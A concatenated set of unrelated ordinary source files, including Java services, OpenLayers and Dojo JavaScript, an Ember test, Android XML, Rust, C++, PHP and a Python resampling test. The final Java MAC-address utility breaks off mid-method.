    public ExtensionDefinition getExtensionById(String id) throws RiceIllegalArgumentException {
        if (StringUtils.isBlank(id)) {
            throw new RiceIllegalArgumentException("id was null or blank");
        }
        RuleAttribute ruleAttribute = ruleAttributeService.findByRuleAttributeId(id);
        return translateFromRuleAttribute(ruleAttribute);
    }

    @Override
    public ExtensionDefinition getExtensionByName(String name) throws RiceIllegalArgumentException {
        if (StringUtils.isBlank(name)) {
            throw new RiceIllegalArgumentException("name was null or blank");
        }
        RuleAttribute ruleAttribute = ruleAttributeService.findByName(name);
        return translateFromRuleAttribute(ruleAttribute);
    }

    private ExtensionDefinition translateFromRuleAttribute(RuleAttribute ruleAttribute) {
        return RuleAttribute.to(ruleAttribute);
    }

    public void setRuleAttributeService(RuleAttributeService ruleAttributeService) {
        this.ruleAttributeService = ruleAttributeService;
    }

}


text:
<dataset>
    <project/>
    <analyzing_strategy/>
    <commit/>
    <commit_log_entry/>
    <file_identity/>
    <file/>
    <module/>
    <commit_file/>
    <commit_file_module/>
    <file_pattern/>
    <job/>
    <metric_value/>
    <finding/>
    <analyzer_configuration/>
    <analyzer_configuration_file/>,
    <quality_profile/>
    <quality_profile_metric/>
    <user/>

    <project id="1" url="http://valid.url" type="GIT" username="user" password="pass" name="name"/>

    <analyzing_strategy id="1" project_id="1" from_date="2016-01-01 00:00:00" active="true"/>

</dataset>


text:
create view revenue as
	select
		suppkey as supplier_no,
		sum(extendedprice * (1 - discount)) as totarevenue
	from
		lineitem
	where
		shipdate >= date('1995-01-01')
		and shipdate < date('1995-01-01', '+3 month')
	group by
		suppkey;


text:
/**
 * @requires OpenLayers/Format/XLS.js
 * @requires OpenLayers/Format/GML/v3.js
 */

/**
 * Class: OpenLayers.Format.XLS.v1
 * Superclass for XLS version 1 parsers. Only supports GeocodeRequest for now.
 *
 * Inherits from:
 *  - <OpenLayers.Format.XML>
 */
OpenLayers.Format.XLS.v1 = OpenLayers.Class(OpenLayers.Format.XML, {

    /**
     * Property: namespaces
     * {Object} Mapping of namespace aliases to namespace URIs.
     */
    namespaces: {
        xls: "http://www.opengis.net/xls",
        gml: "http://www.opengis.net/gml",
        xsi: "http://www.w3.org/2001/XMLSchema-instance"
    },

    /**
     * Property: regExes
     * Compiled regular expressions for manipulating strings.
     */
    regExes: {
        trimSpace: (/^\s*|\s*$/g),
        removeSpace: (/\s*/g),
        splitSpace: (/\s+/),
        trimComma: (/\s*,\s*/g)
    },

    /**
     * APIProperty: xy
     * {Boolean} Order of the GML coordinate true:(x,y) or false:(y,x)
     * Changing is not recommended, a new Format should be instantiated.
     */
    xy: true,

    /**
     * Property: defaultPrefix
     */
    defaultPrefix: "xls",

    /**
     * Property: schemaLocation
     * {String} Schema location for a particular minor version.
     */
    schemaLocation: null,

    /**
     * Constructor: OpenLayers.Format.XLS.v1
     * Instances of this class are not created directly.  Use the
     *     <OpenLayers.Format.XLS> constructor instead.
     *
     * Parameters:
     * options - {Object} An optional object whose properties will be set on
     *     this instance.
     */

    /**
     * Method: read
     *
     * Parameters:
     * data - {DOMElement} An XLS document element.
     * options - {Object} Options for the reader.
     *
     * Returns:
     * {Object} An object representing the XLSResponse.
     */
    read: function (data, options) {
        options = OpenLayers.Util.applyDefaults(options, this.options);
        var xls = {};
        this.readChildNodes(data, xls);
        return xls;
    },

    /**
     * Property: readers
     * Contains public functions, grouped by namespace prefix, that will
     *     be applied when a namespaced node is found matching the function
     *     name.  The function will be applied in the scope of this parser
     *     with two arguments: the node being read and a context object passed
     *     from the parent.
     */
    readers: {
        "xls": {
            "XLS": function (node, xls) {
                xls.version = node.getAttribute("version");
                this.readChildNodes(node, xls);
            },
            "Response": function (node, xls) {
                this.readChildNodes(node, xls);
            },
            "GeocodeResponse": function (node, xls) {
                xls.responseLists = [];
                this.readChildNodes(node, xls);
            },
            "GeocodeResponseList": function (node, xls) {
                var responseList = {
                    features: [],
                    numberOfGeocodedAddresses: parseInt(node.getAttribute("numberOfGeocodedAddresses"))
                };
                xls.responseLists.push(responseList);
                this.readChildNodes(node, responseList);
            },
            "GeocodedAddress": function (node, responseList) {
                var feature = new OpenLayers.Feature.Vector();
                responseList.features.push(feature);
                this.readChildNodes(node, feature);
                // post-process geometry
                feature.geometry = feature.components[0];
            },
            "GeocodeMatchCode": function (node, feature) {
                feature.attributes.matchCode = {
                    accuracy: parseFloat(node.getAttribute("accuracy")),
                    matchType: node.getAttribute("matchType")
                };
            },
            "Address": function (node, feature) {
                var address = {
                    countryCode: node.getAttribute("countryCode"),
                    addressee: node.getAttribute("addressee"),
                    street: [],
                    place: []
                };
                feature.attributes.address = address;
                this.readChildNodes(node, address);
            },
            "freeFormAddress": function (node, address) {
                address.freeFormAddress = this.getChildValue(node);
            },
            "StreetAddress": function (node, address) {
                this.readChildNodes(node, address);
            },
            "Building": function (node, address) {
                address.building = {
                    'number': node.getAttribute("number"),
                    subdivision: node.getAttribute("subdivision"),
                    buildingName: node.getAttribute("buildingName")
                };
            },
            "Street": function (node, address) {
                // only support the built-in primitive type for now
                address.street.push(this.getChildValue(node));
            },
            "Place": function (node, address) {
                // type is one of CountrySubdivision,
                // CountrySecondarySubdivision, Municipality or
                // MunicipalitySubdivision
                address.place[node.getAttribute("type")] =
                    this.getChildValue(node);
            },
            "PostalCode": function (node, address) {
                address.postalCode = this.getChildValue(node);
            }
        },
        "gml": OpenLayers.Format.GML.v3.prototype.readers.gml
    },

    /**
     * Method: write
     *
     * Parameters:
     * request - {Object} An object representing the geocode request.
     *
     * Returns:
     * {DOMElement} The root of an XLS document.
     */
    write: function (request) {
        return this.writers.xls.XLS.apply(this, [request]);
    },

    /**
     * Property: writers
     * As a compliment to the readers property, this structure contains public
     *     writing functions grouped by namespace alias and named like the
     *     node names they produce.
     */
    writers: {
        "xls": {
            "XLS": function (request) {
                var root = this.createElementNSPlus(
                    "xls:XLS",
                    {
                        attributes: {
                            "version": this.VERSION,
                            "xsi:schemaLocation": this.schemaLocation
                        }
                    }
                );
                this.writeNode("RequestHeader", request.header, root);
                this.writeNode("Request", request, root);
                return root;
            },
            "RequestHeader": function (header) {
                return this.createElementNSPlus("xls:RequestHeader");
            },
            "Request": function (request) {
                var node = this.createElementNSPlus("xls:Request", {
                    attributes: {
                        methodName: "GeocodeRequest",
                        requestID: request.requestID || "",
                        version: this.VERSION
                    }
                });
                this.writeNode("GeocodeRequest", request.addresses, node);
                return node;
            },
            "GeocodeRequest": function (addresses) {
                var node = this.createElementNSPlus("xls:GeocodeRequest");
                for (var i = 0, len = addresses.length; i < len; i++) {
                    this.writeNode("Address", addresses[i], node);
                }
                return node;
            },
            "Address": function (address) {
                var node = this.createElementNSPlus("xls:Address", {
                    attributes: {
                        countryCode: address.countryCode
                    }
                });
                if (address.freeFormAddress) {
                    this.writeNode("freeFormAddress", address.freeFormAddress, node);
                } else {
                    if (address.street) {
                        this.writeNode("StreetAddress", address, node);
                    }
                    if (address.municipality) {
                        this.writeNode("Municipality", address.municipality, node);
                    }
                    if (address.countrySubdivision) {
                        this.writeNode("CountrySubdivision", address.countrySubdivision, node);
                    }
                    if (address.postalCode) {
                        this.writeNode("PostalCode", address.postalCode, node);
                    }
                }
                return node;
            },
            "freeFormAddress": function (freeFormAddress) {
                return this.createElementNSPlus("freeFormAddress",
                    {value: freeFormAddress});
            },
            "StreetAddress": function (address) {
                var node = this.createElementNSPlus("xls:StreetAddress");
                if (address.building) {
                    this.writeNode(node, "Building", address.building);
                }
                var street = address.street;
                if (!(OpenLayers.Util.isArray(street))) {
                    street = [street];
                }
                for (var i = 0, len = street.length; i < len; i++) {
                    this.writeNode("Street", street[i], node);
                }
                return node;
            },
            "Building": function (building) {
                return this.createElementNSPlus("xls:Building", {
                    attributes: {
                        "number": building["number"],
                        "subdivision": building.subdivision,
                        "buildingName": building.buildingName
                    }
                });
            },
            "Street": function (street) {
                return this.createElementNSPlus("xls:Street", {value: street});
            },
            "Municipality": function (municipality) {
                return this.createElementNSPlus("xls:Place", {
                    attributes: {
                        type: "Municipality"
                    },
                    value: municipality
                });
            },
            "CountrySubdivision": function (countrySubdivision) {
                return this.createElementNSPlus("xls:Place", {
                    attributes: {
                        type: "CountrySubdivision"
                    },
                    value: countrySubdivision
                });
            },
            "PostalCode": function (postalCode) {
                return this.createElementNSPlus("xls:PostalCode", {
                    value: postalCode
                });
            }
        }
    },

    CLASS_NAME: "OpenLayers.Format.XLS.v1"

});


text:
import { module, test } from 'qunit';
import { setupRenderingTest } from 'ember-qunit';
import { setupIntl } from 'ember-intl/test-support';
import { render } from '@ember/test-helpers';
import { hbs } from 'ember-cli-htmlbars';
import setupMirage from 'ember-cli-mirage/test-support/setup-mirage';
import { component } from 'ilios/tests/pages/components/school-session-type-manager';

module('Integration | Component | school session type manager', function (hooks) {
  setupRenderingTest(hooks);
  setupIntl(hooks, 'en-us');
  setupMirage(hooks);

  hooks.beforeEach(function () {
    this.server.create('assessment-option', {
      name: 'formative',
    });
    this.summative = this.server.create('assessment-option', {
      name: 'summative',
    });
  });

  test('it renders', async function (assert) {
    const sessionType = this.server.create('session-type', {
      title: 'one',
      calendarColor: '#ffffff',
      assessment: true,
      assessmentOption: this.summative,
      sessionCount: 0,
    });
    const sessionTypeModel = await this.owner
      .lookup('service:store')
      .findRecord('session-type', sessionType.id);
    this.set('sessionType', sessionTypeModel);
    await render(hbs`<SchoolSessionTypeManager
      @canUpdate={{true}}
      @sessionType={{this.sessionType}}
      @close={{(noop)}}
    />`);

    assert.strictEqual(component.title, 'one');
    assert.strictEqual(component.form.title.value, 'one');
    assert.strictEqual(component.form.calendarColor.value, '#ffffff');
    assert.strictEqual(component.form.assessment.yesNoToggle.checked, 'true');
    assert.ok(component.form.assessmentSelector.value, '2');
  });

  test('close fires action', async function (assert) {
    assert.expect(1);
    const sessionType = this.server.create('session-type', {
      title: 'one',
      calendarColor: '#ffffff',
      assessment: true,
      assessmentOption: this.summative,
    });
    const sessionTypeModel = await this.owner
      .lookup('service:store')
      .findRecord('session-type', sessionType.id);
    this.set('sessionType', sessionTypeModel);
    this.set('close', () => {
      assert.ok(true, 'action was fired');
    });
    await render(hbs`<SchoolSessionTypeManager
      @canUpdate={{true}}
      @sessionType={{this.sessionType}}
      @close={{this.close}}
    />`);

    await component.form.cancel.click();
  });
});


text:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="net.jimblackler.yourphotoswatch" >

    <uses-permission android:name="com.google.android.permission.PROVIDE_BACKGROUND" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <meta-data
            android:name="com.google.android.gms.version"
            android:value="@integer/google_play_services_version" />
        <meta-data
            android:name="com.facebook.sdk.ApplicationId"
            android:value="@string/facebook_app_id" />

        <activity
            android:name=".PhoneSelectActivity"
            android:label="@string/select_phone_photos" >
        </activity>
        <activity
            android:name=".PicasaSelectActivity"
            android:label="@string/select_picasa_photos" >
        </activity>
        <activity
            android:name=".FacebookSelectActivity"
            android:label="@string/select_facebook_photos" >
        </activity>
        <activity
            android:name="com.facebook.LoginActivity"
            android:label="@string/app_name"
            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="net.jimblackler.yourphotoswatch.CONFIG" />
                <category android:name="com.google.android.wearable.watchface.category.COMPANION_CONFIGURATION" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>
        <activity
            android:name=".AboutActivity"
            android:label="@string/about_app" >
        </activity>
    </application>

</manifest>


text:
use crate::{
    compiler_state::{CompilerState, ProjectName},
    config::ProjectConfig,
    docblocks::extract_schema_from_docblock_sources,
    GraphQLAsts,
};
use common::DiagnosticsResult;
use fnv::FnvHashMap;
use graphql_syntax::TypeSystemDefinition;
use schema::SDLSchema;
use std::sync::Arc;

pub fn build_schema(
    compiler_state: &CompilerState,
    project_config: &ProjectConfig,
    graphql_asts_map: &FnvHashMap<ProjectName, GraphQLAsts>,
) -> DiagnosticsResult<Arc<SDLSchema>> {
    let schema = compiler_state.schema_cache.get(&project_config.name);
    match schema {
        Some(schema) if !compiler_state.project_has_pending_schema_changes(project_config.name) => {
            Ok(schema.clone())
        }
        _ => {
            let mut extensions = vec![];
            if let Some(project_extensions) = compiler_state.extensions.get(&project_config.name) {
                extensions.extend(project_extensions.get_sources_with_location());
            }
            if let Some(base_project_name) = project_config.base {
                if let Some(base_project_extensions) =
                    compiler_state.extensions.get(&base_project_name)
                {
                    extensions.extend(base_project_extensions.get_sources_with_location());
                }
            }
            let mut schema_sources = Vec::new();
            schema_sources.extend(
                compiler_state.schemas[&project_config.name]
                    .get_sources_with_location()
                    .into_iter()
                    .map(|(schema, location_key)| (schema.as_str(), location_key)),
            );
            let mut schema =
                relay_schema::build_schema_with_extensions(&schema_sources, &extensions)?;

            if project_config.feature_flags.enable_relay_resolver_transform {
                let mut projects = vec![project_config.name];
                projects.extend(project_config.base);

                let docblock_ast_sources = projects.iter().map(|project_name| {
                    (
                        compiler_state.docblocks.get(project_name),
                        graphql_asts_map.get(project_name),
                    )
                });

                for docblock_ast in docblock_ast_sources {
                    if let (Some(docblocks), Some(graphql_asts)) = docblock_ast {
                        for (file_path, docblock_sources) in &docblocks.get_all() {
                            let executable_definitions =
                                graphql_asts.get_executable_definitions_for_file(file_path);

                            for schema_document in extract_schema_from_docblock_sources(
                                file_path,
                                docblock_sources,
                                &schema,
                                executable_definitions,
                            )? {
                                for definition in schema_document.definitions {
                                    match definition {
                                        TypeSystemDefinition::ObjectTypeExtension(extension) => {
                                            schema.add_object_type_extension(
                                                extension,
                                                schema_document.location.source_location(),
                                                true,
                                            )?
                                        }
                                        TypeSystemDefinition::InterfaceTypeExtension(extension) => {
                                            schema.add_interface_type_extension(
                                                extension,
                                                schema_document.location.source_location(),
                                                true,
                                            )?
                                        }
                                        _ => panic!(
                                            "Expected docblocks to only expose object and interface extensions"
                                        ),
                                    }
                                }
                            }
                        }
                    } else {
                        panic!("Expected to have access to AST and docblock sources.");
                    }
                }
            }

            Ok(Arc::new(schema))
        }
    }
}


text:
#include "../fayecpp.h"

#if defined(HAVE_RECORE_SDK_CONFIG_H)
#include "recore_sdk_config.h"
#endif

#if defined(HAVE_FAYECPP_CONFIG_H)
#include "fayecpp_config.h"
#endif

#if defined(HAVE_STDARG_H)
#include <stdarg.h>
#endif

#if defined(HAVE_ANDROID_LOG_H)
#include <android/log.h>
#define LOG_TAG "RECore"
#endif

#if defined(HAVE_QT)
#include <QDebug>
#endif

#include <stdio.h>
#include <time.h>

namespace FayeCpp {

	void RELog::log(const char * logString, ...)
	{
		if (logString)
		{
			va_list args;
			va_start(args, logString);

#if defined(HAVE_ANDROID_LOG_H)
			__android_log_vprint(ANDROID_LOG_INFO, LOG_TAG, logString, args);
#else
			RELog::logA(logString, args);
#endif

			va_end(args);
		}
	}

	void RELog::logA(const char * logString, va_list arguments)
	{
		if (logString)
		{
#if defined(HAVE_ANDROID_LOG_H)
			__android_log_vprint(ANDROID_LOG_INFO, LOG_TAG, logString, arguments);
#elif defined(HAVE_QT)
            char buff[1024*2] = { 0 };
            vsprintf(buff, logString, arguments);
            qDebug() << buff;
#else
			fprintf(stdout, "\n");
			vfprintf(stdout, logString, arguments);
			fflush(stdout);
#endif
		}
	}

}


text:
function showLoginDialog() {
	dijit.byId('loginDialog').show();
}

function hideLoginDialog() {
	dijit.byId('loginDialog').hide();
}

function showLoginWaitDialog() {
	dijit.byId('loginWaitDialog').show();
}

function hideLoginWaitDialog() {
	dijit.byId('loginWaitDialog').hide();
}

function updateLoggedInUserWelcome() {
	var loggedinuser = dojo.cookie("loggedinuser");
	if (loggedinuser == null) {
		dojo.byId("loggedinwelcome").innerHTML = '';
	}
	else {
		dojo.byId("loggedinwelcome").innerHTML = 'Welcome Back ' + loggedinuser;
	}
}

function login() {
	hideLoginDialog();
	showLoginWaitDialog();

	var userString = document.getElementById('userId').value;
	dojo.xhrPost({
		content : {
			login: userString,
			password: document.getElementById('password').value
		},
		url: 'rest/api/login',
		load: function(response, ioArgs) {
			hideLoginWaitDialog();
			if (response != 'logged in') {
				// TODO: why isn't error function being called in this case
				alert('error logging in, response: ' + response);
				return;
			}
			dojo.cookie("loggedinuser", userString, {expires: 5});
			updateLoggedInUserWelcome();
		},
		error: function(response, ioArgs) {
			hideLoginWaitDialog();
			alert('error logging in, response: ' + response);
		}
	});
}

function logout() {
	updateLoggedInUserWelcome();
	var loggedinuser = dojo.cookie("loggedinuser");
	if (loggedinuser == null) {
		return;
	}

	dojo.xhrGet({
		content : {
			login: loggedinuser
		},
		url: 'rest/api/login/logout',
		load: function(response, ioArgs) {
			if (response != 'logged out') {
				// TODO: why isn't error function being called in this case
				alert('error logging out, response: ' + response);
				return;
			}
			dojo.cookie("loggedinuser", null, {expires: -1});
			updateLoggedInUserWelcome();
                        window.location='index.html';
		},
		error: function(response, ioArgs) {
			alert('error logging out, response: ' + response);
		}
	});
}

function dateFormatter(data) {
	var d = new Date(data);
	return dojo.date.locale.format(d, {selector: 'date', datePattern: 'MMMM d, yyyy - hh:mm a'});
}

function currencyFormatter(data) {
	return dojo.currency.format(data, {currency: "USD"});
}

// genned from mongo by:  db.airportcodes.find({}, {airportCode:1, airportName:1}).forEach(function(f){print(tojson(f, '', true));});
// switch airportCode to id
var airportCodes = [
	{ airportName : "Brussels", id : "BRU" },
	{ airportName : "Cairo", id : "CAI" },
	{ airportName : "Dubai", id : "DXB" },
	{ airportName : "Geneva", id : "GVA" },
	{ airportName : "Istanbul", id : "IST" },
	{ airportName : "Karachi", id : "KHI" },
	{ airportName : "Kuwait", id : "KWI" },
	{ airportName : "Lagos", id : "LOS" },
	{ airportName : "Manila", id : "MNL" },
	{ airportName : "Mexico City", id : "MEX" },
	{ airportName : "Nairobi", id : "NBO" },
	{ airportName : "Prague", id : "PRG" },
	{ airportName : "Rio de Janeir", id : "GIG" },
	{ airportName : "Stockholm", id : "ARN" },
	{ airportName : "Mumbai", id : "BOM" },
	{ airportName : "Delhi", id : "DEL" },
	{ airportName : "Frankfurt", id : "FRA" },
	{ airportName : "Hong Kong", id : "HKG" },
	{ airportName : "London", id : "LHR" },
	{ airportName : "Montreal", id : "YUL" },
	{ airportName : "Moscow", id : "SVO" },
	{ airportName : "New York", id : "JFK" },
	{ airportName : "Paris", id : "CDG" },
	{ airportName : "Rome", id : "FCO" },
	{ airportName : "Singapore", id : "SIN" },
	{ airportName : "Sydney", id : "SYD" },
	{ airportName : "Tehran", id : "IKA" },
	{ airportName : "Tokyo", id : "NRT" },
	{ airportName : "Amsterdam", id : "AMS" },
	{ airportName : "Aukland", id : "AKL" },
	{ airportName : "Bangkok", id : "BKK" }
];

function airportCodeToAirportName(airportCode) {
	var airports = dojo.filter(airportCodes, function (item) { return item.id == airportCode; } );
	if (airports.length > 0) {
		return airports[0].airportName;
	}
	return airportCode;
}


text:
package org.fossasia.phimpme.gallery.data.base;

import java.io.File;
import java.io.FileFilter;

/** Created by dnld on 24/04/16. */
public class FoldersFileFilter implements FileFilter {
  @Override
  public boolean accept(File pathname) {
    return pathname.isDirectory();
  }
}


text:
import cloneDeep from 'lodash/cloneDeep';
import { CustomVariableModel } from 'src/types';
import { dispatch } from '../../../store/store';
import { setOptionAsCurrent, setOptionFromUrl } from '../state/actions';
import { VariableAdapter } from '../adapters';
import { customVariableReducer, initialCustomVariableModelState } from './reducer';
import { OptionsPicker } from '../pickers';
import { CustomVariableEditor } from './CustomVariableEditor';
import { updateCustomVariableOptions } from './actions';
import { ALL_VARIABLE_TEXT, toVariableIdentifier } from '../state/types';

export const createCustomVariableAdapter = (): VariableAdapter<CustomVariableModel> => {
  return {
    id: 'custom',
    description: 'Define variable values manually',
    name: 'Custom',
    initialState: initialCustomVariableModelState,
    reducer: customVariableReducer,
    picker: OptionsPicker,
    editor: CustomVariableEditor,
    dependsOn: () => {
      return false;
    },
    setValue: async (variable, option, emitChanges = false) => {
      await dispatch(setOptionAsCurrent(toVariableIdentifier(variable), option, emitChanges));
    },
    setValueFromUrl: async (variable, urlValue) => {
      await dispatch(setOptionFromUrl(toVariableIdentifier(variable), urlValue));
    },
    updateOptions: async variable => {
      await dispatch(updateCustomVariableOptions(toVariableIdentifier(variable)));
    },
    getSaveModel: variable => {
      const { index, id, initLock, global, ...rest } = cloneDeep(variable);
      return rest;
    },
    getValueForUrl: variable => {
      if (variable.current.text === ALL_VARIABLE_TEXT) {
        return ALL_VARIABLE_TEXT;
      }
      return variable.current.value;
    },
  };
};


text:
<?php

namespace Fastly\Cdn\Controller\Adminhtml\FastlyCdn\BasicAuthentication\Item;

use Fastly\Cdn\Model\Api;
use Magento\Backend\App\Action;
use Magento\Backend\App\Action\Context;
use Magento\Framework\App\Request\Http;
use Magento\Framework\Controller\Result\JsonFactory;
use Fastly\Cdn\Model\Config;
use Fastly\Cdn\Helper\Vcl;

/**
 * Class ListAll
 *
 * @package Fastly\Cdn\Controller\Adminhtml\FastlyCdn\BasicAuthentication\Item
 */
class ListAll extends Action
{
    /**
     * @var Http
     */
    private $request;
    /**
     * @var JsonFactory
     */
    private $resultJson;
    /**
     * @var Api
     */
    private $api;
    /**
     * @var Config
     */
    private $config;
    /**
     * @var Vcl
     */
    private $vcl;

    /**
     * ListAll constructor.
     *
     * @param Context $context
     * @param Http $request
     * @param JsonFactory $resultJsonFactory
     * @param Config $config
     * @param Api $api
     * @param Vcl $vcl
     */
    public function __construct(
        Context $context,
        Http $request,
        JsonFactory $resultJsonFactory,
        Config $config,
        Api $api,
        Vcl $vcl
    ) {
        $this->request = $request;
        $this->resultJson = $resultJsonFactory;
        $this->config = $config;
        $this->api = $api;
        $this->vcl = $vcl;

        parent::__construct($context);
    }

    /**
     * Get all Auth items for active version
     *
     * @return $this|\Magento\Framework\App\ResponseInterface|\Magento\Framework\Controller\ResultInterface
     */
    public function execute()
    {
        $result = $this->resultJson->create();

        try {
            $activeVersion = $this->getRequest()->getParam('active_version');
            $dictionary = $this->api->getSingleDictionary($activeVersion, 'magentomodule_basic_auth');

            // Fetch Authentication items
            if (!$dictionary || (is_array($dictionary) && empty($dictionary))) {
                return $result->setData([
                    'status'    => 'none',
                    'msg'       => 'Authentication dictionary does not exist.'
                ]);
            }

            $authItems = false;

            if (isset($dictionary->id)) {
                $authItems = $this->api->dictionaryItemsList($dictionary->id);
            }

            if (is_array($authItems) && empty($authItems)) {
                return $result->setData([
                    'status'    => 'empty',
                    'msg'       => 'There are no dictionary items.'
                ]);
            }

            if (!$authItems) {
                return $result->setData([
                    'status'    => false,
                    'msg'       => 'Failed to fetch dictionary items.'
                ]);
            }

            foreach ($authItems as $key => $item) {
                $userData = explode(':', base64_decode($item->item_key)); // @codingStandardsIgnoreLine - used for authentication
                $username = $userData[0];
                $item->item_key_id = $item->item_key;
                $item->item_key = $username;
                $authItems[$key] = $item;
            }

            return $result->setData([
                'status'    => true,
                'auths'     => $authItems
            ]);
        } catch (\Exception $e) {
            return $result->setData([
                'status'    => false,
                'msg'       => $e->getMessage()
            ]);
        }
    }
}


text:
<!DOCTYPE html PUBLIC
	"-//W3C//DTD XHTML 1.0 Transitional//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>Page Non trouvée</title>

Page Non trouvée

<?php echo nl2br(CHtml::encode($data['message'])); ?>

L'URL demandée n'existe pas sur ce serveur.
Si vous avez saisi l'URL manuellement, vérifiez la, et réessayez.

Si vous pensez qu'il s'agit d'une erreur du serveur, veuillez contacter <?php echo $data['admin']; ?>.

<?php echo date('Y-m-d H:i:s',$data['time']) .' '. $data['version']; ?>


text:
<menu xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto" >

    <group android:id="@+id/menu_general" >
        <item
            android:id="@+id/menu_back"
            android:title="Back"
            app:showAsAction="always|withText"/>
        <item
            android:id="@+id/menu_next"
            android:title="Next"
            app:showAsAction="always|withText"/>
    </group>

</menu>


text:
from glob import glob
import math
import os.path as osp
import nibabel as nib
import numpy as np
import copy

import tensorflow as tf
import tensorflow.test as tft

from niftynet.contrib.niftyreg_image_resampling.niftyreg_module_loader import get_niftyreg_module

res = get_niftyreg_module()

class ResamplerTest(tft.TestCase):
    """
    Unit test for GPUImageResampling defined in python_wrapper.cpp
    """

    def _get_images(self, do_small=False):
        data_dir = osp.join(osp.dirname(__file__), 'data')
        filename_temp = 'test_image_' + ('vsmall' if do_small else 'large') + '_*.nii'

        for test_img_path in glob(osp.join(data_dir, filename_temp)):
            yield nib.load(test_img_path)

    @staticmethod
    def _dump_image(dst_path, img):
        nib.save(nib.Nifti1Image(img, np.eye(4)),
                 str(dst_path))

    def _test_resampled(self, resampled, floating, d, inter, axis):
        use_nearest = inter == 0
        max_idx_disp = int(round(d)) if use_nearest else int(math.ceil(d))

        self.assertAllEqual(resampled.shape, floating.shape)

        ref = float('nan')*np.zeros_like(resampled)
        size = ref.shape[axis]

        ref_slice = slice(0, size - max_idx_disp)
        flo_slice = slice(max_idx_disp, size)

        base_block = [slice(0, d) for d in floating.shape]
        flo_block = copy.copy(base_block)
        ref_block = copy.copy(base_block)
        flo_block[axis] = flo_slice
        ref_block[axis] = ref_slice

        ref[tuple(ref_block)] = floating[tuple(flo_block)]

        if not use_nearest:
            flo_slice = slice(max_idx_disp - 1, size - 1)
            flo_block = copy.copy(base_block)
            flo_block[axis] = flo_slice
            ref[tuple(ref_block)] += floating[tuple(flo_block)]
            ref /= 2

        mask = np.isfinite(ref + resampled)
        max_err = abs(ref[mask] - resampled[mask]).max()
        self.assertLessEqual(max_err, 1e-2)

        if len(resampled.shape) == 2:
            bdy_size = 1 + max(max_idx_disp, 1)*(inter + 1)\
                *(resampled.shape[0] + resampled.shape[1])
        else:
            bdy_size = 7 + (max(max_idx_disp, 1) + 2)*(inter + 1)\
                *max(resampled.shape)**2

        nof_nans = resampled.size - mask.sum()
        self.assertLess(nof_nans, bdy_size)

    def _make_constant_displacement_image(self, u, axis, image_data):
        nof_dims = len(image_data.shape)
        displacement_shape = list(image_data.shape) \
            + [1]*(3 - nof_dims) + [nof_dims]

        displacement_data = np.zeros(displacement_shape)
        displacement_data[...,axis] = u
        for dd in range(nof_dims):
            idcs = np.arange(displacement_data.shape[dd])
            idcs = idcs.reshape(
                [1]*dd + [displacement_shape[dd]] \
                + [1]*(nof_dims - dd - 1))

            tile_dim = list(displacement_shape[:dd]) + [1] \
                + list(displacement_shape[dd+1:nof_dims])

            idcs = np.tile(idcs, tile_dim)
            if len(idcs.shape) < 3:
                idcs = idcs.reshape(list(idcs.shape) + [1])

            displacement_data[...,dd] += idcs

        return displacement_data

    def _test_resampling(self, use_gpu):
        for floating in self._get_images():
            floating_data = floating.get_data()
            nof_dims = len(floating_data.shape)

            transposed_shape = list(floating_data.shape)
            transposed_shape.reverse()
            image_batch_shape = [1]*2 + transposed_shape
            disp_batch_shape = [1] + [nof_dims] + transposed_shape

            for inter in (0, 1, 3):
                with self.session(use_gpu=use_gpu) as sess:
                    img = tf.placeholder(tf.float32,
                                         shape=image_batch_shape)
                    disp = tf.placeholder(tf.float32,
                                          shape=disp_batch_shape)

                    warped = res.niftyreg_image_resampling(img, disp,
                                                           interpolation=inter)

                    for u in (0.5001, 3.50001):
                        for d in range(nof_dims):
                            displacement_data \
                                = self._make_constant_displacement_image(
                                    u, d, floating_data)

                            # NiftyReg expects displacement components to be
                            # indexed w/ slowest index
                            def _transpose(data):
                                return np.transpose(
                                    data, range(len(data.shape) - 1, -1, -1))

                            resampled_data = sess.run(
                                warped,
                                feed_dict={
                                    img: _transpose(floating_data)\
                                    .reshape(image_batch_shape),
                                    disp: _transpose(displacement_data)\
                                    .reshape(disp_batch_shape),
                                })

                            resampled_data = _transpose(resampled_data).reshape(floating_data.shape)

                            self._test_resampled(resampled_data, floating_data,
                                                 u, inter, d)

    def test_cpu_resampling(self):
        self._test_resampling(False)

    def test_gpu_resampling(self):
        if tft.is_gpu_available(cuda_only=True) and tft.is_built_with_cuda():
            self._test_resampling(True)
        else:
            self.skipTest('No CUDA support available')

if __name__ == '__main__':
    tft.main()


text:
package de.pawlidi.openaletheia.utils;

import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.Enumeration;
import java.util.StringTokenizer;

import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.SystemUtils;

import de.pawlidi.openaletheia.utils.exec.ProcessExecutor;

/**
 *
 * @author PAWLIDIM
 *
 */
public final class AletheiaUtils {

	public static final String MAC_ADDRESS_REGEX = "^([[:xdigit:]]{2}){5}[[:xdigit:]]{2}$";

	/** Invisible default constructor */
	private AletheiaUtils() {
		super();
	}

	/**
	 * Returns current mac adress
	 *
	 * @return macAdress
	 */
	public static String getMacAddress() {
		String macAddress = getJavaNetMacAddress();
		if (macAddress == null) {
			if (SystemUtils.IS_OS_WINDOWS) {
				macAddress = getWindowsMacAddress();
			} else if (SystemUtils.IS_OS_LINUX) {
				macAddress = getLinuxMacAddress();
			}
			if (macAddress == null) {
				throw new RuntimeException("Cannot read MAC address in operating system");
			}
		}
		macAddress = normalizeMacAddress(macAddress);
		return macAddress;
	}

	/**
	 * Read java networt mac adress
	 *
	 * @return
	 */
	public static String getJavaNetMacAddress() {
		String javaMacAdress = null;
		try {
			InetAddress ip = InetAddress.getLocalHost();

